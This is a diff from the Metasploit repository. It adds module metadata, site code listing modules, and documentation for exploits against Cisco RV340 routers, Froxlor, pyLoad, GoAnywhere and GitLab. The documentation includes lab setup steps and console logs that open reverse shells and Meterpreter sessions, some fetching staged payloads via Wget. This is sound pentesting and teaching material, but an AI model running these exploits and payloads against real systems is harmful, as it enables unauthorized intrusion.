"exploit_linux/http/qnap_qcenter_change_passwd_exec": {
"name": "QNAP Q'Center change_passwd Command Execution",
"fullname": "exploit/linux/http/qnap_qcenter_change_passwd_exec",
@@ -86771,12 +86964,14 @@
"disclosure_date": "2023-02-01",
"type": "exploit",
"author": [
"Ron Bowes"
"Ron Bowes",
"Frycos (Florian Hauser)"
],
"description": "This module exploits CVE-2023-0669, which is an object deserialization\n vulnerability in Fortra GoAnywhere MFT.",
"references": [
"CVE-2023-0669",
"URL-https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis"
"URL-https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis",
"URL-https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html"
],
"platform": "Unix,Windows",
"arch": "cmd",
@@ -86800,7 +86995,7 @@
"Version 2 Encryption",
"Version 1 Encryption"
],
"mod_time": "2023-02-08 10:24:27 +0000",
"mod_time": "2023-02-09 23:06:59 +0000",
"path": "/modules/exploits/multi/http/fortra_goanywhere_rce_cve_2023_0669.rb",
"is_install_path": true,
"ref_name": "multi/http/fortra_goanywhere_rce_cve_2023_0669",
@@ -87446,6 +87641,69 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/gitlab_github_import_rce_cve_2022_2992": {
"name": "GitLab GitHub Repo Import Deserialization RCE",
"fullname": "exploit/multi/http/gitlab_github_import_rce_cve_2022_2992",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-10-06",
"type": "exploit",
"author": [
"William Bowling (vakzz)",
"Heyder Andrade <https://infosec.exchange/@heyder>",
"RedWay Security <https://infosec.exchange/@redway>"
],
"description": "An authenticated user can import a repository from GitHub into GitLab.\n If a user attempts to import a repo from an attacker-controlled server,\n the server will reply with a Redis serialization protocol object in the nested\n `default_branch`. GitLab will cache this object and\n then deserialize it when trying to load a user session, resulting in RCE.",
"references": [
"URL-https://hackerone.com/reports/1679624",
"URL-https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992",
"URL-https://gitlab.com/gitlab-org/gitlab/-/issues/371884",
"CVE-2022-2992"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command"
],
"mod_time": "2023-02-14 15:26:01 +0000",
"path": "/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb",
"is_install_path": true,
"ref_name": "multi/http/gitlab_github_import_rce_cve_2022_2992",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/gitlab_shell_exec": {
"name": "Gitlab-shell Code Execution",
"fullname": "exploit/multi/http/gitlab_shell_exec",
+1 -28
View File
@@ -1,29 +1,2 @@
<style>
#main-content p {
text-align: justify;
}
<link rel="stylesheet" href="{% link assets/css/main.css %}">
.language-mermaid .label {
text-transform: inherit;
}
.language-msf .zp {
text-decoration: underline;
}
.language-msf .ze {
color: #960050;
}
.language-msf .zg {
color: #859900;
}
.language-msf .zs {
color: #268bd2;
}
.language-msf .zw {
color: orange;
}
</style>
+19
View File
@@ -0,0 +1,19 @@
// Handle opening/closing module overview list items
jtd.onReady(function(ready) {
var moduleStructures = document.querySelectorAll('.module-structure');
for (var i = 0; i < moduleStructures.length; i++) {
jtd.addEvent(moduleStructures[i], 'click', function (e) {
var originalTarget = e.target || e.srcElement || e.originalTarget;
if (originalTarget.tagName !== 'A') { return; }
var parentListItem = originalTarget.closest('li');
if (parentListItem.className.indexOf('folder') === -1) { return; }
var childList = parentListItem.querySelector('ul');
if (childList) {
childList.classList.toggle('open');
}
e.preventDefault();
});
}
});
+138
View File
@@ -0,0 +1,138 @@
require 'jekyll'
require 'json'
require 'pathname'
#
# Helper class for extracting information related to Metasploit framework's stats
#
class MetasploitStats
# @return [Hash<String, Integer>] A map of module type to the amount of modules
def module_counts
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
module_counts_by_type
end
# @return [Array<Hash<String, Hash>>] A nested array of module metadata, containing at least the keys :name, :total, :children
def nested_module_counts
create_nested_module_counts(modules)
end
protected
# @param [Array<Hash>] modules
# @param [String] parent_path The parent path to track the nesting depth when called recursively
# i.e. auxiliary, then auxiliary/admin, then auxiliary/admin/foo, etc
def create_nested_module_counts(modules, parent_path = '')
# Group the modules by their prefix, i.e. auxiliary/payload/encoder/etc
top_level_buckets = modules.select { |mod| mod['fullname'].start_with?(parent_path) }.group_by do |mod|
remaining_paths = mod['fullname'].gsub(parent_path.empty? ? '' : %r{^#{parent_path}/}, '').split('/')
remaining_paths[0]
end.sort.to_h
top_level_buckets.map do |(prefix, children)|
current_path = parent_path.empty? ? prefix : "#{parent_path}/#{prefix}"
mod = modules_by_fullname[current_path]
{
name: prefix,
total: children.count,
module_fullname: mod ? mod['fullname'] : nil,
module_path: mod ? mod['path'] : nil,
children: mod.nil? ? create_nested_module_counts(children, current_path) : []
}
end
end
# @return [Array<Hash>] An array of Hashes containing each Metasploit module's metadata
def modules
return @modules if @modules
module_metadata_path = '../db/modules_metadata_base.json'
unless File.exist?(module_metadata_path)
raise "Unable to find Metasploit module data, expected it to be at #{module_metadata_path}"
end
@modules = JSON.parse(File.binread(module_metadata_path)).values
@modules
end
# @return [Hash<String, Hash>] A mapping of module name to Metasploit module metadata
def modules_by_fullname
@modules_by_fullname ||= @modules.each_with_object({}) do |mod, hash|
fullname = mod['fullname']
hash[fullname] = mod
end
end
end
# Custom liquid filter implementation for visualizing nested Metasploit module metadata
#
# Intended usage:
# {{ site.metasploit_nested_module_counts | module_tree }}
module ModuleFilter
# @param [Array<Hash>] modules The array of Metasploit cache information
# @return [String] The module tree HTML representation of the given modules
def module_tree(modules)
rendered_children = render_modules(modules)
<<~EOF
<ul class="module-structure">#{rendered_children}</ul>
EOF
end
module_function
# @param [Array<Hash>] modules The array of Metasploit cache information
# @return [String] The rendered tree HTML representation of the given modules
def render_modules(modules)
modules.map do |mod|
result = "<li#{render_child_modules?(mod) ? ' class="folder"' : ''}>#{heading_for_mod(mod)}"
if render_child_modules?(mod)
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
end
result += "</li>"
result
end.join("\n")
end
# @param [Hash] mod The module metadata object
# @return [String] Human readable string for a module list such as `- <a>Auxiliary (1234)</a>` or `- Other (50)`
def heading_for_mod(mod)
if render_child_modules?(mod)
"<a href=\"#\"><div class=\"target\">#{mod[:name]} (#{mod[:total]})</div></a>"
else
config = Jekyll.sites.first.config
# Preference linking to module documentation over the module implementation
module_docs_path = Pathname.new("documentation").join(mod[:module_path].gsub(/^\//, '')).sub_ext(".md")
link_path = File.exist?(File.join('..', module_docs_path)) ? "/#{module_docs_path}" : mod[:module_path]
docs_link = "#{config['gh_edit_repository']}/#{config['gh_edit_view_mode']}/#{config['gh_edit_branch']}#{link_path}"
"<a href=\"#{docs_link}\" target=\"_blank\"><div class=\"target\">#{mod[:module_fullname]}</div></a>"
end
end
# @param [Hash] mod The module metadata object
# @return [TrueClass, FalseClass]
def render_child_modules?(mod)
mod[:children].length >= 1 && mod[:module_path].nil?
end
end
# Register the Liquid filter so any Jekyll page can render module information
Liquid::Template.register_filter(ModuleFilter)
# Register the site initialization hook to populate global site information so any Jekyll page can access Metasploit stats information
Jekyll::Hooks.register :site, :after_init do |site|
begin
Jekyll.logger.info 'Calculating module stats'
metasploit_stats = MetasploitStats.new
site.config['metasploit_total_module_count'] = metasploit_stats.module_counts.sum { |_type, count| count }
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
Jekyll.logger.info 'Finished calculating module stats'
rescue
Jekyll.logger.error "Unable to to extractMetasploit stats"
raise
end
end
+110
View File
@@ -0,0 +1,110 @@
---
---
#main-content p {
text-align: justify;
}
/* Color highlighting for msf console text */
.language-mermaid .label {
text-transform: inherit;
}
.language-msf .zp {
text-decoration: underline;
}
.language-msf .ze {
color: #960050;
}
.language-msf .zg {
color: #859900;
}
.language-msf .zs {
color: #268bd2;
}
.language-msf .zw {
color: orange;
}
/* Module overview styles */
.module-structure li::before {
content: ' ' !important;
}
.module-structure a {
height: 100%;
padding: 0.2rem;
background-image: none;
overflow: initial;
display: inline-block;
width: 90%;
}
.module-structure a, .module-structure a:hover {
background-image: none;
}
.module-structure a:hover .target {
pointer-events: none;
display: inline-block;
text-decoration: none;
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
background-repeat: repeat-x;
background-position: 0 100%;
background-size: 1px 1px;
}
.module-structure {
line-height: 2rem;
}
/* visual indentation lines */
.module-structure ul {
margin-left: 7px !important;
padding-left: 20px !important;
border-left: 1px dashed #d1d7de;
}
.module-structure li p {
margin: 0;
}
.module-structure li {
margin: 0;
list-style: none;
}
.module-structure ul {
display: none;
margin: 0;
}
.module-structure ul.open {
display: block;
}
/* Default li style - files */
.module-structure li::before {
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z'/></svg>");
background-repeat: no-repeat;
width: 1rem;
height: 1rem;
background-position: center top;
background-size: 90% auto;
margin-top: 0;
vertical-align: middle;
margin-left: initial !important;
margin-right: 0.5rem !important;
display: inline-block !important;
position: initial !important;
}
/* li style - folders */
.module-structure li.folder::before {
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z'/></svg>");
}
@@ -51,7 +51,7 @@ Difficulty: 4/5
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]]
Size: Medium/Large (Depends on proposal)
Difficulty 3/5
+66
View File
@@ -0,0 +1,66 @@
## Metasploit modules
There are currently {{ site.metasploit_total_module_count }} Metasploit modules:
{{ site.metasploit_nested_module_counts | module_tree }}
## Module types
### Auxiliary modules ({{ site.metasploit_module_counts["auxiliary"] }})
Auxiliary modules do not exploit a target, but can perform useful tasks such as:
- Administration - Modify, operate, or manipulate something on target machine
- Analyzing - Tools that perform analysis, mostly password cracking
- Gathering - Gather, collect, or enumerate data from a single target
- Denial of Service - Crash or slow a target machine or service
- Scanning - Scan targets for known vulnerabilities
- Server Support - Run Servers for common protocols such as SMB, FTP, etc
### Encoder modules ({{ site.metasploit_module_counts["encoder"] }})
Encoders take the raw bytes of a payload and run some sort of encoding algorithm, like bitwise XOR. These modules are useful for encoding
bad characters such as null bytes.
### Evasion modules ({{ site.metasploit_module_counts["evasion"] }})
Evasion modules give Framework users the ability to generate evasive payloads that aim to evade AntiVirus, such as Windows Defender,
without having to install external tools.
### Exploit modules ({{ site.metasploit_module_counts["exploit"] }})
Exploit modules are used to leverage vulnerabilities in a manner that allows the framework to execute arbitrary code.
The arbitrary code that is executed is referred to as the payload.
### Nop modules ({{ site.metasploit_module_counts["nop"] }})
Nop modules, short for 'No Operation', generate a sequence of 'No Operation' instructions that perform no side-effects.
NOPs are often used in conjunction with stack buffer overflows.
### Payloads modules ({{ site.metasploit_module_counts["payload"] }})
In the context of Metasploit exploit modules, payload modules encapsulate the arbitrary code (shellcode) that is executed
as the result of an exploit succeeding. This normally involves the creation of a Metasploit session, but may instead
execute code such as adding user accounts, or executing a simple pingback command that verifies that code execution was successful against a vulnerable target.
Payload modules can also be used individually to generate standalone executables, or shellcode for use within exploits:
```msf
msf6 payload(linux/x86/shell_reverse_tcp) > back
msf6 > use payload/linux/x86/shell_reverse_tcp
msf6 payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf6 payload(linux/x86/shell_reverse_tcp) > set lport 4444
lport => 4444
# Generate a payload for use within C
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f c
# Generate an ELF file for execution on Linux environments
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
```
### Post modules ({{ site.metasploit_module_counts["post"] }})
These modules are useful after a machine has been compromised and a Metasploit session has been opened. They perform useful
tasks such as gathering, collecting, or enumerating data from a session.
+9 -4
View File
@@ -63,10 +63,15 @@ NAVIGATION_CONFIG = [
path: 'Code-Of-Conduct.md',
nav_order: 2
},
{
path: 'Modules.md',
title: 'Modules',
nav_order: 3
},
{
title: 'Pentesting',
folder: 'pentesting',
nav_order: 3,
nav_order: 4,
children: [
{
path: 'Metasploit-Guide-Setting-Module-Options.md',
@@ -211,7 +216,7 @@ NAVIGATION_CONFIG = [
{
title: 'Using Metasploit',
folder: 'using-metasploit',
nav_order: 4,
nav_order: 5,
children: [
{
title: 'Getting Started',
@@ -422,7 +427,7 @@ NAVIGATION_CONFIG = [
{
title: 'Development',
folder: 'development',
nav_order: 5,
nav_order: 6,
children: [
{
title: 'Get Started ',
@@ -928,6 +933,6 @@ NAVIGATION_CONFIG = [
},
{
path: 'Contact.md',
nav_order: 5
nav_order: 7
},
].freeze
@@ -0,0 +1,97 @@
## Vulnerable Application
This module exploits two vulnerabilities, an authentication bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707),
to execute code on Cisco RV160, RV260, RV340, and RV345 Small Business Routers prior to 1.0.03.26 as the
`www-data` user. The command injection occurs in the `upload.cgi` script, where user input in the `data` POST parameter
is passed to `curl` without any sanitization. Additionally, the `sessionid` session cookie can be abused for a path
traversal vulnerability, which can be used to bypass authentication by setting `sessionid` to the path to a valid
file on the target.
This module has been tested against an RV340 device running firmware version 1.0.03.24.
Firmware version 1.0.03.26 patches these vulnerabilities.
### Installation
Firmware version 1.0.03.24, which is vulnerable to CVE-2022-20705 and CVE-2022-20707, can be downloaded from
https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24
To install this firmware, follow the following directions:
1. Log into the modem. The default IP address is 192.168.1.1 and the default credentials
are `cisco` for the username and password.
2. The `administration` option on the left side of the web page will take you to a form
with a `Manual Upgrade` section.
3. Leave `File Type: ` on the default `Firmware Image` option.
4. Change `Upgrade From:` option to `PC`.
5. Press the `Upgrade` button.
6. Press `Yes` on the message box asking `Are you sure you want to upgrade the firmware right now?`.
7. Wait for router reboot to complete.
## Verification Steps
1. Install the vulnerable firmware
2. Start `msfconsole`
3. Do: `use modules/exploits/linux/http/cisco_rv340_lan`
4. Do: `set lhost <listening ip>`
5. Do: `set rhost <target ip>`
6. Do: `exploit`
7. Verify: You see the message `Exploit successfully executed` confirming the exploit completed
8. Verify: You are the `www-data` user using the `id` command
## Options
## Scenarios
### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_netcat payload
```
msf6 > use modules/exploits/linux/http/cisco_rv340_lan
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
lhost => 192.168.1.142
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf6 exploit(linux/http/cisco_rv340_lan) > exploit
[*] Started reverse TCP handler on 192.168.1.142:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 1 opened (192.168.1.142:4444 -> 192.168.1.1:55885) at 2023-02-05 10:06:22 -0500
[+] Exploit successfully executed.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_tcp ARMLE Meterpreter payload
```
msf6 > use modules/exploits/linux/http/cisco_rv340_lan
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
lhost => 192.168.1.142
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf6 exploit(linux/http/cisco_rv340_lan) > set target 1
target => 1
msf6 exploit(linux/http/cisco_rv340_lan) > exploit
[*] Started reverse TCP handler on 192.168.1.142:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp
[*] Using URL: http://192.168.1.142:8080/3b2NfBKR0OS
[*] Client 192.168.1.1 (Wget) requested /3b2NfBKR0OS
[*] Sending payload to 192.168.1.1 (Wget)
[*] Sending stage (934728 bytes) to 192.168.1.1
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Meterpreter session 2 opened (192.168.1.142:4444 -> 192.168.1.1:55950) at 2023-02-05 10:12:37 -0500
[*] Server stopped.
meterpreter > shell
Process 11012 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
@@ -0,0 +1,100 @@
## Vulnerable Application
Froxlor is an open source web hosting control panel. Froxlor v2.0.6 and below suffers from a bug that allows
authenticated users to change the application logs path to any directory on the OS level which the user www-data can
write without restrictions from the backend which leads to writing a malicious Twig template that the application will
render. That will lead to achieving a remote command execution under the user www-data.
### Setup
Install php 8.1 and MySQL. Download the vulnerable Froxlor application and place it in Ubuntu's default webroot. The
below instruction set should be able to be copy and pasted into a terminal in order to deploy a vulnerable application.
```
sudo add-apt-repository ppa:ondrej/php
sudo apt install php8.1
sudo apt install php8.1-common php8.1-mysql php8.1-xml php8.1-xmlrpc php8.1-curl php8.1-gd php8.1-imagick php8.1-cli php8.1-dev php8.1-imap php8.1-mbstring php8.1-opcache php8.1-soap php8.1-zip php8.1-redis php8.1-intl php8.1-gmp php8.1-bcmath -y
wget https://files.froxlor.org/releases/froxlor-2.0.3.tar.gz
gunzip froxlor-2.0.3.tar.gz
tar -xvf froxlor-2.0.3.tar
sudo rm /var/www/html/index.html
sudo cp -r froxlor /var/www/html/
cd /var/www/html/
sudo chown -R www-data:www-data ./
sudo apt install mysql-server
`sudo systemctl start mysql.service`
sudo mysql
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'notpassword';
mysql> quit;
sudo systemctl restart apache2
```
After the above completes successfully, navigate to http://localhost/froxlor to finish the web-based portion of the
installation. Accept the EULA and input the database credentials and then start the application.
## Options
### TARGETURI
The base URI path of Froxlor. **Default: /froxlor**
### WEB_ROOT
The webroot of the Froxlor server. The webroot must be known in order to write the absolute path of the logfile. The
default options assumes Froxlor is installed on an Ubuntu machine: **Default: /var/www/html**
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/linux/http/froxlor_log_path_rce`
1. Set the `RHOSTS`, `LHOST`, `USERNAME`, and `PASSWORD` options
1. Run the module
1. Receive a Meterpreter session as the `root` user.
## Scenarios
### Ubuntu 20.04, Froxlor 2.0.3 running on Apache, MySQL and PHP 8.1
```
msf6 > use exploit/linux/http/froxlor_log_path_rce
[*] Using exploit/linux/http/froxlor_log_path_rce
msf6 exploit(linux/http/froxlor_log_path_rce) > set rhosts 172.16.199.140
rhosts => 172.16.199.140
msf6 exploit(linux/http/froxlor_log_path_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/froxlor_log_path_rce) > set lport 9191
lport => 9191
msf6 exploit(linux/http/froxlor_log_path_rce) > set username admin
username => admin
msf6 exploit(linux/http/froxlor_log_path_rce) > set password notpassword
password => notpassword
msf6 exploit(linux/http/froxlor_log_path_rce) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:9191
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Successful login
[+] The target appears to be vulnerable. Vulnerable version found: 2.0.3
[+] Successfully Logged in!
[+] CSRF token is : 5701b7e6335ab13e20e91845b210b6be0bea7621
[+] Changed logfile path to: /var/www/html/froxlor/templates/Froxlor/footer.html.twig
[*] Using URL: http://172.16.199.1:8080/ygs3pAWMRNIs
[+] Injected payload sucessfully
[*] Changing logfile path back to default value while triggering payload: /var/www/html/froxlor/logs/froxlor.log
[*] Client 172.16.199.140 (Wget/1.20.3 (linux-gnu)) requested /ygs3pAWMRNIs
[*] Sending payload to 172.16.199.140 (Wget/1.20.3 (linux-gnu))
[*] Sending stage (3045348 bytes) to 172.16.199.140
[*] Cleaning up...
[*] Deleting tampered footer.html.twig file
[*] Rewriting clean footer.html.twig file
[*] Meterpreter session 3 opened (172.16.199.1:9191 -> 172.16.199.140:50398) at 2023-02-13 18:20:02 -0500
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 172.16.199.140
OS : Ubuntu 20.04 (Linux 5.15.0-58-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,65 @@
## Vulnerable Application
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport
functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request
to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,
the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load" service runs on
port 9666 and can be used remotely without authentication.
## Verification Steps
1. Start a vulnerable instance of pyLoad using docker
2. Start msfconsole
3. Run: `use exploit/linux/http/pyload_js2py_exec`
4. Set the `RHOST`, `PAYLOAD` and payload associated options
5. Run: `run`
### Docker Setup
```
docker run -d \
--name=pyload-ng \
-e PUID=1000 \
-e PGID=1000 \
-e TZ=Etc/UTC \
-p 8000:8000 \
-p 9666:9666 \
--restart unless-stopped \
lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev30
```
## Options
## Scenarios
### pyLoad 0.5.0b3.dev30 via Docker
```
msf6 > use exploit/linux/http/pyload_js2py_exec
[*] Using configured payload cmd/unix/generic
msf6 exploit(linux/http/pyload_js2py_exec) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(linux/http/pyload_js2py_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/pyload_js2py_exec) > set LHOST 192.168.250.134
LHOST => 192.168.250.134
msf6 exploit(linux/http/pyload_js2py_exec) > exploit
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (24380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 172.17.0.2:40830) at 2023-02-15 15:28:52 -0500
meterpreter > getuid
Server username: abc
meterpreter > sysinfo
Computer : f03ec089a4fe
OS : Linux 6.0.18-200.fc36.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Jan 7 17:08:48 UTC 2023
Architecture : x64
Meterpreter : python/linux
meterpreter > pwd
/config/data
meterpreter >
```
@@ -43,13 +43,13 @@ changed.
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
RHOSTS => 10.0.0.219
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[*] Sending stage (24380 bytes) to 10.0.0.219
@@ -65,16 +65,16 @@ Server username: ron
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
RHOSTS => 10.0.0.219
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > show options
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > show options
[...]
@@ -89,7 +89,7 @@ Exploit target:
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[*] Sending stage (24380 bytes) to 10.0.0.219
@@ -104,20 +104,20 @@ meterpreter >
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
RHOSTS => 10.0.0.219
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000
RPORT => 8000
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[*] Sending stage (24380 bytes) to 10.0.0.219
@@ -0,0 +1,201 @@
## Vulnerable Application
### Description
An authenticated user can import a repository from GitHub into GitLab.
When importing a GitHub repository the GitLab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
it into a Ruby class that has methods matching all of the keys. This happens recursively, and allows for any method to be overridden
including built-in methods such as `to_s`.
The redis gem uses `to_s` and `bytesize` to generate the RESP (Redis serialization protocol) command. By replying with a specially
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the GitHub server can inject arbitrary
redis commands to the stream.
On August 30, 2022, GitLab released a software update that addressed this vulnerability (CVE-2022-2992).
The following products are affected:
- From 11.10 to 15.1.6
- From 15.2 to 15.2.4
- From 15.3 to 15.3.2
### Exploitation
This module exploits the GitLab vulnerability by injecting a Ruby serialized object into the Redis user
session object. Once GitLab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
execute a deserialization gadget and trigger the payload.
To achieve that this module:
- Will generate an universal Ruby deserialization gadget payload;
- Will create an access token for the user targeted;
- Will start a server to emulate GitHub and serve the payload to be injected;
- Will create a group and also trigger the GitHub import feature to the repository from the controlled server
- Will perform a request using the just injected session ID that when loaded must trigger the payload.
After the execution the cleanup method will be called and:
- Should delete the created group and consequently the repository
- Should revoke the access token created
- Should logout the user
### Setup
Create a `docker-compose.yml` file as below:
```yml
services:
gitlab:
image: 'gitlab/gitlab-ee:15.3.1-ee.0'
restart: always
container_name: gitlab
hostname: 'gitlab.example'
network_mode: "bridge"
ports:
- '880:80'
- '8443:443'
volumes:
- gitlab_config:/etc/gitlab
- gitlab_logs:/var/log/gitlab
- gitlab_data:/var/opt/gitlab
volumes:
